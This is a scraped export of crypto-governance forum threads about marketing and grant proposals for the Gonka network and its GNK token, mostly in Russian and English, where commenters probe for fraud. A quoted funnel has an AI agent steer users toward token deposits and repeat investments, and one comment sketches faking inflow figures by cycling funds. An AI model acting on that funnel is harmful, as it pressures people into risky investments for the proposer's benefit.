Перечисление этих фактов это просто возражения, которые естественным образом возникают у любого заказчика, особенно в отношении новых исполнителей, с кем никогда не работал.
Задача же исполнителя убедить и предложить такие варианты условий/отчетов, которые железобетонно успокоят каждое возражение
"}, {"location": "proposals/preproposals/e0cc7d32-5d1a-49e1-94e8-0ca3d9ccbf6b/#sergei-koniakov_4", "title": "💬 Sergei Koniakov", "text": "2026-07-04 11:08 · 👍 0 · 👎 0
« Честно говоря, мы впервые слышим о такой модели. Ни Meta, ни Telegram не выплачивают нам 15–25% рекламного бюджета за запуск рекламы.»
Про Meta я ни слова не говорил.
Про Telegram (возврат/бонус): 1) Vitamin.tools / Telegram Ads через MTS Ads - до 15% 2) Яндекс Директ - реклама в Telegram - до 15% 3) Click.ru / Telegram Ads - до 7,8% 4) eLama / Telegram Ads - до 5% 5) Telega in - до 5%
Это если прогонять бюджеты через эти рекламные системы. У каждого телеграм канала есть еще отдельные партнерские программы.
"}, {"location": "proposals/preproposals/e0cc7d32-5d1a-49e1-94e8-0ca3d9ccbf6b/#_1", "title": "💬 Алексей", "text": "2026-07-04 12:34 · 👍 0 · 👎 0
Ссылки и пруфы на вас можно и на ваши кейсы?
"}, {"location": "proposals/preproposals/e0cc7d32-5d1a-49e1-94e8-0ca3d9ccbf6b/#andrey-orlov_7", "title": "💬 Andrey Orlov", "text": "2026-07-04 13:32 · 👍 1 · 👎 1
Не совсем понятно, на основании чего вы пришли к такому выводу. На AMA мы подробно рассказали, кто мы, чем занимаемся и почему работаем именно как медиабайинговая команда, а не публичная компания. Мы также сразу сказали, что готовы пройти верификацию личности, предоставить документы и при необходимости провести личную встречу.
Что касается портфолио, оно также показывалось публично. Мы публиковали материалы по нашей текущей работе и записи реальных рекламных кампаний. Поэтому утверждение, что «ничего нельзя проверить», не совсем соответствует действительности.
Если, по вашему мнению, для принятия решения требуется дополнительная информация, это абсолютно нормальный запрос, мы готовы обсуждать, что еще можно предоставить в рамках публичного обсуждения. Но утверждать, что не было предоставлено вообще ничего, на наш взгляд, некорректно
"}, {"location": "proposals/preproposals/e0cc7d32-5d1a-49e1-94e8-0ca3d9ccbf6b/#andrey-orlov_8", "title": "💬 Andrey Orlov", "text": "2026-07-04 13:41 · 👍 0 · 👎 0
Да, подобные механизмы вполне можно реализовать. Например, учитывать только новые кошельки, которые соответствуют заранее согласованным критериям, анализировать связанные адреса и исключать повторяющиеся цепочки переводов, отдельно считать общий приток капитала и капитал, который фактически остался в экосистеме спустя заранее согласованный период времени. При необходимости можно согласовать минимальный срок удержания средств, после которого инвестиция будет учитываться при расчете KPI. Мы открыты к тому, чтобы до начала реализации совместно с маркетинговым комитетом и сообществом определить прозрачную методику подсчета, которая исключит круговые прогоны, самопокупки и любые попытки искусственно завысить результат. Более того, нам самим это выгодно, поскольку наша цель - привлечь долгосрочный капитал, а не показать красивую цифру в отчете
"}, {"location": "proposals/preproposals/e0cc7d32-5d1a-49e1-94e8-0ca3d9ccbf6b/#andrey-orlov_9", "title": "💬 Andrey Orlov", "text": "2026-07-04 13:43 · 👍 0 · 👎 0
Сергей, проблема в том, что вы снова обсуждаете модель, которой нет в нашем proposal, мы нигде не писали, что собираемся закупать трафик через Telegram Ads, Vitamin, eLama, Click.ru, Telega.in или любые другие подобные сервисы, наша модель построена на закупке трафика через Meta, то есть Facebook и Instagram, именно об этом и идет речь в proposal, поэтому перечисленные вами программы к нашей модели просто не относятся, мы не закладывали их в экономику, не учитывали в расчетах и не рассматриваем как источник дохода, именно поэтому мы и написали, что подобная мотивация в нашем случае отсутствует, давайте все-таки обсуждать то, что действительно описано в proposal, а не сценарии, которых в нем нет
"}, {"location": "proposals/preproposals/e0cc7d32-5d1a-49e1-94e8-0ca3d9ccbf6b/#andrey-a", "title": "💬 Andrey A", "text": "2026-07-06 08:11 · 👍 0 · 👎 0
Прошу предоставить: 1. Подробную информацию о вашей команде и выполненных кейсах. Либо информацию, кто из комьюнити выполнил верификацию этих данных. А также указать причины существующей анонимизации пропоузера. 2. Примеры креативов, посылов, воронок, которые вы хотите применять для привлечения к покупке. Понятно, что они не разработаны. Но хотя бы в общем какие будут нарративы. \"Купите gnk , чтобы ... \" Чтобы что?
"}, {"location": "proposals/preproposals/e0cc7d32-5d1a-49e1-94e8-0ca3d9ccbf6b/#andrey-orlov_10", "title": "💬 Andrey Orlov", "text": "2026-07-06 17:01 · 👍 0 · 👎 0
Андрей, приветствую.
Скорее всего, мы уже не будем подавать proposal, потому что нам фактически перекрыли возможность его продвигать, нам закрыли доступ в основной чат Gonka, мы не можем писать в Talent Hub, а маркетинговый комитет перестал отвечать, в итоге мы не можем провести публичную AMA, хотя именно для этого она и планировалась.
По первому вопросу, подробно о нашей команде и опыте мы уже рассказывали на первой AMA с маркетинговым комитетом, я также неоднократно говорил, что готов пройти любую верификацию, предоставить документы и лично созвониться, объяснить, кто мы и чем занимаемся, гораздо проще на звонке, чем текстом, именно поэтому мы и хотели провести открытую AMA для всех.
Что касается кейсов, у нас есть отработанная воронка привлечения инвесторов, она не привязана к одной нише и применяется в разных вертикалях, меняется только продукт, аудитория и коммуникация, наша задача не заранее угадать правильный ответ, а быстро найти его через тесты и затем масштабировать то, что показывает лучший результат, именно этот подход мы и хотели применить для Gonka.
По поводу причины анонимизации, честно говоря, не совсем понял вопрос, если сможете уточнить, с удовольствием отвечу.
По второму вопросу, мы никогда не строим работу на предположениях, любая новая страна, продукт или аудитория начинается с тестов, именно тесты показывают, какие креативы, посылы, лендинги и воронки работают лучше всего, поэтому сейчас написать конкретный нарратив в формате «купите GNK, потому что…» было бы просто гаданием, именно эти процессы мы и хотели подробно разобрать на AMA, но, к сожалению, такой возможности нам не оставили.
"}, {"location": "proposals/preproposals/e0cc7d32-5d1a-49e1-94e8-0ca3d9ccbf6b/#slava-mygonka_1", "title": "💬 Slava MyGonka", "text": "2026-07-03 17:12 · 👍 0 · 👎 1
Привет! 1. Это только на русском языке, верно? 2. Телеграм каналы вы будете заново создавать? Сотни тысяч пльзователей, это, конечно, сильно, но реально ли? 3. Под какие обещания вы планируете приглашать Пользователей? 4. Куда конкретно будет тратиться бюджет? Покупка рекламы в ТГ и все?
Спасибо!
"}, {"location": "proposals/preproposals/e0cc7d32-5d1a-49e1-94e8-0ca3d9ccbf6b/#sergei-koniakov_5", "title": "💬 Sergei Koniakov", "text": "2026-07-03 19:41 · 👍 0 · 👎 1
«зачем нам для получения финансирования в $300,000 заводить собственные $3–5 млн и покупать на них GNK». Для того, чтобы прокрутить 3млн$ совершенно не нужно их иметь в наличии. Об этом знает любой, кто занимается арбитражом.
Допустим, у вас в наличии только 100к$. Нужно его обернуть 30 раз. Все это может сделать специально для этого написанное ПО, которое разобьет их на мелкие суммы.
« пришлось бы закупить около 30 000 Telegram-аккаунтов, а если учитывать, что один аккаунт стоит порядка $3–4». Вы же не хотите сказать, что у вас будут живые люди вести переписку с лидами на предмет покупки GNK на 10-100-500$?
Судя по тому, как вы активно отрицаете реальность этого сценария, дальше дискуссию не продолжаю.
То, что хотел высказать - уже высказал.
"}, {"location": "proposals/preproposals/e0cc7d32-5d1a-49e1-94e8-0ca3d9ccbf6b/#_2", "title": "💬 Антон Луч", "text": "2026-07-04 11:53 · 👍 0 · 👎 1
Будут ли использованы какие-либо антифрод-правила: независимая верификация новых кошельков, лимиты на связанные адреса, отсев повторяющихся паттернов, требования к удержанию средств в течение времени и раздельный учёт брутто- и нетто-притока (считать не только сколько денег вошло, но и сколько денег реально осталось в проекте, без круговых прогонов и самопокупок).
"}, {"location": "proposals/preproposals/e0cc7d32-5d1a-49e1-94e8-0ca3d9ccbf6b/#viktor", "title": "💬 Viktor", "text": "2026-07-05 08:52 · 👍 0 · 👎 1
Please provide - conversions between the funnel steps you've mentioned (I've duplicated your funnel below) - proofs that such conversion values are achievable (may be from your other cases or from the market cases)
Meta Ads
The user first encounters GONKA through advertising campaigns and goes to a landing page.
↓
Landing Page
The landing page serves as an intermediate stage before Telegram. Its task is to generate initial interest in the project, build basic trust, and motivate the user to move to Telegram.
↓
Telegram
After transitioning, the user sends a request to join the Telegram channel. A bot automatically accepts the request, sends a welcome message with basic information about the project, and provides contacts for further communication.
Telegram becomes the primary platform for user interaction. This is where trust in the project is gradually built through content.
↓
Tora AI
After the first contact, Tora AI takes over the bulk of the communication. It answers user questions, supports them, helps them understand the project, and leads most users to their first deposit.
↓
Manager
If a user plans a large investment or the AI Agent determines the need for personal communication, the dialogue is transferred to a manager who supports the user until the purchase is made.
↓
Token purchase via Uniswap
The main goal of the entire funnel is to attract new capital through token purchases on Uniswap.
↓
Long-term support
Work does not end after the first deposit. The user continues to receive support via the AI Agent and managers. The main task of this stage is to strengthen trust in the project, guide the user within the ecosystem, and increase the volume of repeat investments.
View on gonka.vote
"}, {"location": "proposals/preproposals/ed7bd700-bb5a-4c99-9dae-bdcba6641015/", "title": "Gonka Integration Grant for AI Startups and Products (GNK Rewards)", "text": "🟢 ActiveAuthor: Evgenii Maksimenkov Created: 2026-04-25 06:46 UTC Closes: 2026-07-24 06:45 UTC Language: EN Votes: 3 Avg. Bid: 50.0K GNK
Grant program in GNK for AI startups that integrate Gonka inference into their production product. Fixed grant tiers, milestone-based payouts, mandatory technical and visibility requirements.
"}, {"location": "proposals/preproposals/ed7bd700-bb5a-4c99-9dae-bdcba6641015/#full-proposal", "title": "Full Proposal", "text": "Context
Gonka offers an OpenAI-compatible decentralized inference API (currently serving Qwen3-235B-A22B-Instruct-2507-FP8) at competitive cost vs. centralized providers. To accelerate Developer adoption, this grant program rewards AI startups and products that integrate Gonka as a production inference backend with grants paid in GNK tokens.
This is a non-dilutive grant — Gonka takes no equity, no revenue share, no IP rights. The only obligations are technical integration and agreed visibility requirements.
"}, {"location": "proposals/preproposals/ed7bd700-bb5a-4c99-9dae-bdcba6641015/#2-who-can-apply", "title": "2. Who Can Apply", "text": "Eligible applicants are companies or teams that:
Examples of eligible products: AI chat apps, agent frameworks, RAG products, AI coding tools, AI customer-support platforms, AI content tools, vertical AI SaaS (legal/medical/finance), AI infrastructure tools.
NOT eligible: pure research projects without product, hobby projects without users, products that resell raw inference, pump-and-dump token projects, projects competing directly with Gonka (other decentralized inference networks).
"}, {"location": "proposals/preproposals/ed7bd700-bb5a-4c99-9dae-bdcba6641015/#3-grant-tiers", "title": "3. Grant Tiers", "text": "Tier Grant Amount (GNK equivalent in USD) For Starter $5,000 Pre-revenue products, <1K MAU, integration of Gonka as one of multiple backends Growth $25,000 Revenue-generating or >5K MAU, Gonka as primary backend for ≥30% of inference traffic Scale $100,000 $500K+ ARR or >50K MAU, Gonka as primary backend for ≥70% of inference traffic Strategic $100,000+ (negotiated) Category-defining integrations, custom case-by-caseGNK is paid at the 7-day TWAP at the date of each milestone payout. Recipients are responsible for their own tax treatment.
"}, {"location": "proposals/preproposals/ed7bd700-bb5a-4c99-9dae-bdcba6641015/#4-team-requirements", "title": "4. Team Requirements", "text": "Applicants MUST demonstrate:
To qualify for grant payout, the integration MUST meet ALL of the following:
"}, {"location": "proposals/preproposals/ed7bd700-bb5a-4c99-9dae-bdcba6641015/#51-production-integration", "title": "5.1. Production Integration", "text": "/v1/chat/completions endpoint (or other supported Gonka APIs) with proper ECDSA request signing as specified in the Gonka Developer Docs.To qualify for grant payout, the recipient MUST complete ALL of the following:
"}, {"location": "proposals/preproposals/ed7bd700-bb5a-4c99-9dae-bdcba6641015/#61-website", "title": "6.1. Website", "text": "Grants are paid in 3 milestones, NOT upfront:
Milestone % of Grant Trigger M1: Integration Live 30% Production integration deployed, Gonka traffic share verified on-chain at tier minimum, \"Powered by Gonka\" badge visible on website M2: 60-Day Sustained Usage 40% Tier-minimum traffic share maintained for 60 consecutive days, monthly telemetry submitted, public announcement post published M3: 6-Month Retention + Case Study 30% Tier-minimum traffic share maintained at month 6, case study completedIf a recipient drops below the tier minimum: - For >14 days: M2 or M3 payout is paused until restored. - For >60 days: remaining unpaid milestones are forfeited (already-paid milestones are NOT clawed back unless fraud is detected).
"}, {"location": "proposals/preproposals/ed7bd700-bb5a-4c99-9dae-bdcba6641015/#8-fraud-prevention", "title": "8. Fraud Prevention", "text": "Applicants MUST submit:
gonka1gm...gzg6ry 50.0K GNK 2026-04-25 06:46 gonka109...wdesy6 50.0K GNK 2026-05-03 14:36 gonka1rw...dftj3l 50.0K GNK 2026-04-25 15:53"}, {"location": "proposals/preproposals/ed7bd700-bb5a-4c99-9dae-bdcba6641015/#comments-1", "title": "Comments (1)", "text": ""}, {"location": "proposals/preproposals/ed7bd700-bb5a-4c99-9dae-bdcba6641015/#alex-sharoiko", "title": "💬 Alex Sharoiko Александр Шаройко", "text": "2026-04-26 20:48 · 👍 1 · 👎 0
Нужно установить требования еще по количеству инференса, который они будут использовать.
А то я уже использую инференс Гонка для своих проектов. Но при этом я не думаю, что мне за это нужно платить ))
View on gonka.vote
"}, {"location": "proposals/preproposals/ed8148eb-535e-4677-9a6b-5316c81c996a/", "title": "Private Inc × Gonka — Network Growth Initiative", "text": "🔴 ExpiredAuthor: Igor Alexeev Created: 2026-06-13 15:40 UTC Closes: 2026-07-13 15:40 UTC Language: EN Votes: 0 Avg. Bid: 0.00 GNK
Initiative to accelerate Gonka’s growth by attracting new AI developers, infrastructure operators, and expanding the network with up to 4,000 additional GPUs.
"}, {"location": "proposals/preproposals/ed8148eb-535e-4677-9a6b-5316c81c996a/#full-proposal", "title": "Full Proposal", "text": "Executive Summary
Private Inc proposes launching a user acquisition program designed to attract new participants to the Gonka ecosystem, targeting AI developers, AI infrastructure operators, GPU farms, AI companies, and other stakeholders within the artificial intelligence industry.
The primary objective of this initiative is to accelerate network growth by attracting new compute resources, onboarding new infrastructure operators, and bringing new users into the ecosystem through a performance marketing, qualification, and onboarding framework.
As part of the program, a full-scale acquisition funnel will be built, ranging from Google Ads, Meta Ads, and YouTube Ads campaigns to lead qualification, user support, and ecosystem integration through a dedicated team of specialists.
Unlike traditional marketing campaigns, the primary focus of this initiative is not impressions or views, but rather the acquisition of real network participants and the expansion of the ecosystem’s computing capacity.
⸻
Private Inc is a team of specialists in performance marketing and media buying.
For more than seven years, we have worked with Google Ads, Meta Ads, and YouTube Ads, helping scale technology, iGaming, AI, Web3, and DePIN projects.
Today, our team consists of more than 100 specialists, while our monthly advertising spend exceeds $3 million.
Over the years, we have participated in projects generating tens of millions of dollars in total revenue, including cases with verified revenues exceeding $25 million.
The founder of the company is Igor Alekseev.
Private Inc is a public company with openly available media resources, interviews, case studies, and a proven track record that demonstrate our experience and expertise.
Additional Resources:
• Private Inc × 1win Case Study — $25M+ Revenue https://1w.run/ru/blog/posts/25661849-revenue-case-privateink-and-1winPartners/
• In-Depth Interview with Private Inc Founder Igor Alekseev https://m.youtube.com/watch?v=G22P7GVhHCU
• Igor Alekseev Speaking at G Gate Media Conference https://m.youtube.com/watch?v=50SWn0Wm9-c&pp=ygUb0JjQs9C-0YDRjCDQsNC70LXQutGB0LXQtdCy&ra=m
• AMA Session with the Founder of Private Inc https://m.youtube.com/watch?v=ZGHlLUMDleg
• Interview with Igor Alekseev About the Company’s Journey and Personal Story https://m.youtube.com/watch?v=5r25oki4PZk&pp=ygUb0JjQs9C-0YDRjCDQsNC70LXQutGB0LXQtdCy&ra=m
• Private Inc YouTube Channel https://m.youtube.com/@pvt.inc
We specialize not in PR or brand awareness campaigns, but in building scalable user acquisition, qualification, and onboarding systems through performance marketing.
⸻
The idea for this initiative emerged after one of Private Inc’s internal teams discovered Gonka and conducted a detailed analysis of the project, its infrastructure, documentation, and current market position.
Based on our analysis, we concluded that Gonka possesses significantly greater growth potential than its current metrics reflect. Despite having a functioning infrastructure, an active community, and a clear development direction, the project remains substantially less known among AI developers, AI infrastructure operators, and its target audience than it could be.
We believe Gonka is currently at one of the most attractive stages for scaling. As a result, we identified an opportunity to apply Private Inc’s performance marketing expertise to attract new ecosystem participants, expand network computing capacity, and accelerate further growth.
We are not proposing any changes to the product, strategy, or development roadmap. Our objective is much simpler — to help Gonka reach the audience that may already be interested in using and contributing to the network today.
⸻
🇺🇸 Primary Market
United States
Priority States:
• California • Texas • Florida • New York • Washington
The United States is the primary market for this initiative because a significant portion of the global AI infrastructure, AI development, and commercial AI adoption market is concentrated there.
⸻
🖥 AI Compute Infrastructure
• Professional GPU Infrastructure Operators • GPU Farms • AI Compute Providers • Compute Infrastructure Operators • Data Centers • Owners of High-Performance AI Clusters
🤖 AI Developers
• AI Engineers • LLM Developers • AI Builders • AI Startups
🏢 AI Companies
• AI SaaS Companies • Companies Utilizing AI Infrastructure • AI Teams
🌐 Web3 & DePIN
• DePIN Participants • Web3 Developers • Crypto Communities
⸻
Separate advertising campaigns will be created for each target audience through Google Ads, Meta Ads, and YouTube Ads, each featuring tailored messaging and value propositions.
Following the initial interaction, users will be directed to dedicated landing pages customized for their specific audience segment, including AI developers, AI infrastructure operators, AI companies, and ecosystem participants.
Leads will then be routed to a dedicated qualification and onboarding team. The team’s role extends beyond processing inbound traffic — it includes identifying user needs, providing guidance, and connecting participants with relevant opportunities within the Gonka ecosystem.
Depending on their profile and interests, users will be segmented into the following categories:
• AI Developers • AI Infrastructure Operators • AI Companies • Community Members
To support this model, a dedicated team of 25 qualification and onboarding specialists will be assigned to the initiative.
Our objective is not simply to attract traffic but to ensure that every qualified user reaches meaningful engagement within the Gonka ecosystem.
⸻
The initiative will leverage Private Inc’s existing infrastructure, which is already used to launch, manage, and scale advertising campaigns.
The project will involve:
• A Technical Department responsible for landing page development, tracking implementation, pixel setup, analytics, and the advertising infrastructure required for campaign launch and scaling
• A Media Buying Team responsible for campaign deployment, hypothesis testing, identifying high-performing funnels, and scaling successful strategies
• A Creative Department consisting of designers, motion designers, and advertising production specialists responsible for developing creatives tailored to different audience segments based on media buying requirements
• An Advertising Infrastructure Department responsible for advertising account management, payment infrastructure, technical tools, and other components necessary for stable campaign operations and scaling
• A Dedicated Qualification and Onboarding Team of 25 specialists responsible for processing inbound inquiries, audience segmentation, user guidance, and integration into the Gonka ecosystem
This structure allows us to manage the entire acquisition cycle — from campaign launch and data analysis to lead qualification and ecosystem integration.
⸻
The total program budget is designed around 600,000 USDT.
However, we propose beginning with an initial phase of 300,000 USDT, allowing the community to evaluate the initiative’s effectiveness in practice before deciding whether to proceed with full-scale expansion.
Upon completion of the first phase, a comprehensive report covering all key program metrics will be published. Based on the results achieved, the community will be able to determine whether expanding the initiative to its full scope is justified.
⸻
The budget for Phase One is 300,000 USDT.
The majority of the budget will be allocated directly toward acquiring new participants for the Gonka ecosystem through performance marketing. Budget allocation across advertising platforms will be managed dynamically based on actual channel performance and audience acquisition costs.
Up to 95% of the budget is planned to be allocated directly to advertising campaigns and the scaling of high-performing marketing channels.
The remaining portion of the budget will be used to support the required advertising infrastructure, including analytics services, tracking systems, technical tools, and creative production.
Private Inc’s existing infrastructure—including the media buying team, technical specialists, creative department, and user qualification and onboarding system—is provided as part of this initiative and does not require separate funding from the Community Pool.
⸻
Days 1–7
• Launch advertising infrastructure and analytics systems
• Prepare landing pages
• Create and test advertising creatives
• Launch initial advertising campaigns
• Gather first traffic and conversion cost data
Days 8–15
• Scale high-performing campaign structures
• Activate the qualification and onboarding team
• Generate the first qualified leads
• Deliver the first community reports
Expected Interim Results:
• 40,000–70,000 targeted visits
• 100–250 qualified AI Developers
• 20–50 Host Leads
Days 16–30
• Main scaling phase
• Increase advertising traffic volume
• Optimize audience acquisition costs
• Active engagement with infrastructure operators
Expected Interim Results:
• 150,000–250,000 targeted visits
• 400–800 qualified AI Developers
• 100–180 Host Leads
• 40–70 new infrastructure operators
Days 31–45
• Maximum scaling of top-performing channels
• Final campaign optimization
• Preparation of final analytics and reporting
Phase One Target Metrics:
• 325,000–400,000 targeted visits
• 1,000–1,500 qualified AI Developers
• 250–350 Host Leads
• 100–125 new infrastructure operators
• Up to 2,000 additional GPUs
—————
Our goal is not to increase impressions or follower counts, but to attract real participants to the Gonka ecosystem who will actively use the network, contribute computing resources, and help expand the project’s infrastructure.
Phase One KPIs (300,000 USDT)
• 325,000–400,000 targeted visits
• 1,000–1,500 qualified AI Developers
• 250–350 Host Leads
• 100–125 new infrastructure operators
• Up to 2,000 additional GPUs
Full Program KPIs (600,000 USDT)
• 650,000–800,000 targeted visits
• 2,000–3,000 qualified AI Developers
• 500–700 Host Leads
• 200–250 new infrastructure operators
• Up to 4,000 additional GPUs
Calculation Methodology
Our projections are based on a performance marketing acquisition model and historical advertising campaign data.
Baseline Model for the Full Program:
• Advertising Budget — approximately 570,000 USDT
• Average Cost per Click (CPC) — $0.75–$0.90
• Average Cost per Qualified Lead (CPL) — $20–$35
• Average Cost per Infrastructure Operator Acquisition (CPA) — $2,400–$3,000
• Average Cost per GPU Acquisition — approximately $150
The primary focus of the program will be on attracting professional AI infrastructure operators and high-performance compute resources, including H100, H200, B200, B300, and comparable enterprise-grade hardware.
Based on the projected acquisition of 200–250 new infrastructure operators, the average onboarding volume is expected to be 16–20 GPUs per operator, corresponding to the target of up to 4,000 additional GPUs connected to the network.
To evaluate program effectiveness, the primary performance indicators will include the number of new infrastructure operators, the number of onboarded GPUs, the number of active AI Developers, and user retention metrics following the acquisition phase.
Target retention benchmarks aligned with Gonka ecosystem growth objectives:
• Infrastructure Operator Retention After 60 Days — 85%+
• AI Developer Retention After 30 Days — 35%+
⸻
We believe the community should be able to monitor the program’s progress, current results, and spending efficiency at any time.
As part of this initiative, regular reports covering expenditures, key KPIs, and campaign performance will be published.
Planned Reporting Structure:
• Daily summary reports covering advertising spend and core campaign metrics
• Detailed reports every 5 days including KPI performance, trend analysis, interim results, active hypotheses, and optimization plans
• A final report upon completion of the phase, including a full breakdown of expenditures, achieved results, and a comparison of actual versus projected performance
In addition, the community will receive data on audience acquisition costs, lead acquisition costs, the number of onboarded infrastructure operators, newly connected GPUs, and other key program metrics.
All reports will be published publicly for the Gonka community through Telegram and Discord.
⸻
• Development and deployment of advertising infrastructure for acquiring infrastructure operators, AI developers, AI companies, and Gonka ecosystem users
• Creation, production, and testing of advertising creatives for multiple audience segments
• Development of dedicated landing pages and marketing funnels tailored to each target audience
• Acquisition and scaling of advertising traffic through Google Ads, Meta Ads, YouTube Ads, and other relevant channels
• Continuous hypothesis testing, campaign optimization, and budget reallocation toward the highest-performing channels
• Qualification of inbound traffic and user guidance through a structured onboarding system
• Dedicated specialist team handling lead processing and engagement with prospective ecosystem participants
• Acquisition of new infrastructure operators and high-performance GPU clusters
• Acquisition of AI developers, AI companies, and Gonka infrastructure users
• Preparation and publication of regular reports covering all key program metrics
⸻
We openly state that we are committed to the long-term success of Gonka.
Like many members of the community, we are token holders and are directly interested in the network’s growth, the expansion of computing capacity, the attraction of new developers, and the continued development of the ecosystem.
Beyond that interest, we also bring something tangible to the project today: an experienced team, proven infrastructure, years of expertise managing large-scale advertising budgets, and practical experience scaling digital products across international markets.
We are not asking the community to fund the creation of a team or infrastructure from scratch. These resources already exist within Private Inc. The majority of the requested budget will be allocated directly toward attracting new users, infrastructure operators, AI developers, and computing resources into the Gonka ecosystem.
We are prepared to operate with maximum transparency, publish regular reports, validate results with measurable data, and answer community questions throughout every stage of the program.
"}, {"location": "proposals/preproposals/ed8148eb-535e-4677-9a6b-5316c81c996a/#comments-2", "title": "Comments (2)", "text": ""}, {"location": "proposals/preproposals/ed8148eb-535e-4677-9a6b-5316c81c996a/#dem-demingan", "title": "💬 Dem | Démíngān", "text": "2026-07-04 12:36 · 👍 1 · 👎 0
Scam
"}, {"location": "proposals/preproposals/ed8148eb-535e-4677-9a6b-5316c81c996a/#slava-mygonka", "title": "💬 Slava MyGonka", "text": "2026-06-14 09:57 · 👍 0 · 👎 0
Скамеры вышли на новый уровень. Благодаря AI можно делать не только хорошие вещи, но, как мы видим, и плохие тоже. Будьте внимательны.
Этот пропоузел - это пример возможностей скамеров, вооруженных AI. Никому нельзя верить )
View on gonka.vote
"}, {"location": "proposals/preproposals/efc0edeb-bc49-4c6b-a6e7-5b20ccfbe571/", "title": "Стресс тест инфиренса", "text": "🔴 ExpiredAuthor: Mitch Created: 2026-05-29 22:34 UTC Closes: 2026-06-05 22:34 UTC Language: RU Votes: 0 Avg. Bid: 0.00 GNK
Предлагаю собрать опенсорс стресс-тест инференса Gonka — первый пилот выплат от фаундейшена через майлстоуны. Обсудим ТЗ, цену и сроки.
"}, {"location": "proposals/preproposals/efc0edeb-bc49-4c6b-a6e7-5b20ccfbe571/#full-proposal", "title": "Full Proposal", "text": "Для того чтобы понять выполнен ли первейший пункт роадмапа в краткострочных задачах “Обеспечить стабильно работающий инфиренс” нам нужен понятный тест.
"}, {"location": "proposals/preproposals/efc0edeb-bc49-4c6b-a6e7-5b20ccfbe571/#v-01", "title": "Тех Задание v 0.1", "text": "Сделать скрипт стресс теста, который бы многопоточно загружал инфиренс. Тк прямого доступа к инфиренсу теперь нет, то через брокеров
Перед реализацией этого проекта давайте обсудим:
Я, Mitch из Gonka.Top, https://t.me/akamitch берусь быть координатором этого проекта в нашем зарождающемся фаундейшене. После того как мы определись с требованиями, ценой, майлстоунами, провести пропозал по выплате всей суммы на специально созданный для этого кошелек. Я найду\\согласую исполнителя, буду принимать у него работу по майлстоунам, отписывать сообществую новости по продвижению, выплачивать исполнителю. В идеале конечно использовать не кошелек, а смарт контракт с мультипомписью совета фаундейшн, для обкатки процесса и кошелек считаю подойдет. Проект выглядит простым, недорогим, быстрым и подходит для обкатки подхода, альтернативного ретро выплатам.
"}, {"location": "proposals/preproposals/efc0edeb-bc49-4c6b-a6e7-5b20ccfbe571/#comments-8", "title": "Comments (8)", "text": ""}, {"location": "proposals/preproposals/efc0edeb-bc49-4c6b-a6e7-5b20ccfbe571/#mitch", "title": "💬 Mitch", "text": "2026-05-30 14:08 · 👍 2 · 👎 0
На одном из блокеров уже есть тест, похожий на описанный https://gonka-api.org/test
"}, {"location": "proposals/preproposals/efc0edeb-bc49-4c6b-a6e7-5b20ccfbe571/#mitch_1", "title": "💬 Mitch", "text": "2026-05-30 20:04 · 👍 2 · 👎 0
Команда gonka.gg сегодня сделала публичный сервис с результатами тестирования 6ти брокеров! https://meter.gonka.gg/
Класс! Хотелось бы не только сервис, а еше в опенсорс, чтоб все могли запускать сами и менять параметры тестов.
"}, {"location": "proposals/preproposals/efc0edeb-bc49-4c6b-a6e7-5b20ccfbe571/#evgenii-maksimenkov", "title": "💬 Evgenii Maksimenkov", "text": "2026-05-29 23:44 · 👍 1 · 👎 0
Хорошая идея, однако если эта тулза будет в открытом доступе (а только так её возможно принять сообществу), то возможны злоупотребления и ddos атаки. Плюс в будущем софт каждого брокера будет отличаться и то, как они балансят запросы тоже.
"}, {"location": "proposals/preproposals/efc0edeb-bc49-4c6b-a6e7-5b20ccfbe571/#mikhail-n", "title": "💬 Mikhail N", "text": "2026-05-31 11:00 · 👍 1 · 👎 0
Hey, it is 100% opensource. https://github.com/gonkalabs/gmeter 1-to-1 with what is deployed at meter.gonka.gg
the only private part - is api keys in the config, rest is 100% as in the deployment. Anyone can fork and host it, verify results, etc.
"}, {"location": "proposals/preproposals/efc0edeb-bc49-4c6b-a6e7-5b20ccfbe571/#mitch_2", "title": "💬 Mitch", "text": "2026-05-30 13:30 · 👍 0 · 👎 0
Сейчас доступ к инфренсе - только через брокеров. Напрямую то не работает больше вообще. Мож кстати для теста стоит и еще одного брокера отдельного зарегать.
Тест получается сквозной, и тестит весь пайплайн включая брокеров. Результат теста также может показать что какие то брокеры лучше чем другие.
DDOS тут рубится на брокере лимитом очч просто, скрипт же у нас работает с одного IP, без и с одного акка брокера. Так что для атаки он не годится на самом деле.
"}, {"location": "proposals/preproposals/efc0edeb-bc49-4c6b-a6e7-5b20ccfbe571/#alex-aa", "title": "💬 Alex A.A.", "text": "2026-06-01 10:33 · 👍 0 · 👎 0
Круто! спасибо! Из минусов, не показывается номер ошибки... ( или я не увидел)
"}, {"location": "proposals/preproposals/efc0edeb-bc49-4c6b-a6e7-5b20ccfbe571/#alex-aa_1", "title": "💬 Alex A.A.", "text": "2026-06-02 12:05 · 👍 0 · 👎 0
Тулза не работает к сожалению для костомных. Ошибку шлет: Failed to load models: Provider fallback2 is not Gonka — public test disabled.
"}, {"location": "proposals/preproposals/efc0edeb-bc49-4c6b-a6e7-5b20ccfbe571/#alex-aa_2", "title": "💬 Alex A.A.", "text": "2026-06-03 11:29 · 👍 0 · 👎 0
Тестирую фитчу, дай знать как увидишь
View on gonka.vote
"}, {"location": "proposals/preproposals/f021bdb3-59f4-4906-bfaa-7b90b72019b1/", "title": "9. Team Gonka-API.org Grant Request", "text": "🔴 ExpiredAuthor: Slava MyGonka Created: 2026-06-11 05:50 UTC Closes: 2026-07-11 05:50 UTC Language: EN Votes: 0 Avg. Bid: 0.00 GNK
Team Gonka-API.org built a working Gonka API gateway with early traction and plans to scale users, marketing, content, and advanced infrastructure tools.
"}, {"location": "proposals/preproposals/f021bdb3-59f4-4906-bfaa-7b90b72019b1/#full-proposal", "title": "Full Proposal", "text": "What does your team plan to build or deliver for Gonka over the next three months?
Over the next three months, the team plans to scale Gonka API and continue developing it as an infrastructure gateway for AI developers and inference consumers.
The main deliverables include:
The long-term goal is to make Gonka API a versatile administrative and infrastructure tool for the Gonka network.
"}, {"location": "proposals/preproposals/f021bdb3-59f4-4906-bfaa-7b90b72019b1/#what-contributions-or-products-has-your-team-already-developed-for-gonka-with-links-pls", "title": "What contributions or products has your team already developed for Gonka (with links pls)?", "text": "The team has developed and launched Gonka API: https://gonka-api.org
Gonka API is a gateway designed to provide a simple entry point and smooth experience for AI developers. It offers convenient access optimized for AI agents such as Hermes, and includes a browser extension that allows developers to get free trial access without registration.
In the first 14 days of active operation, the service reached:
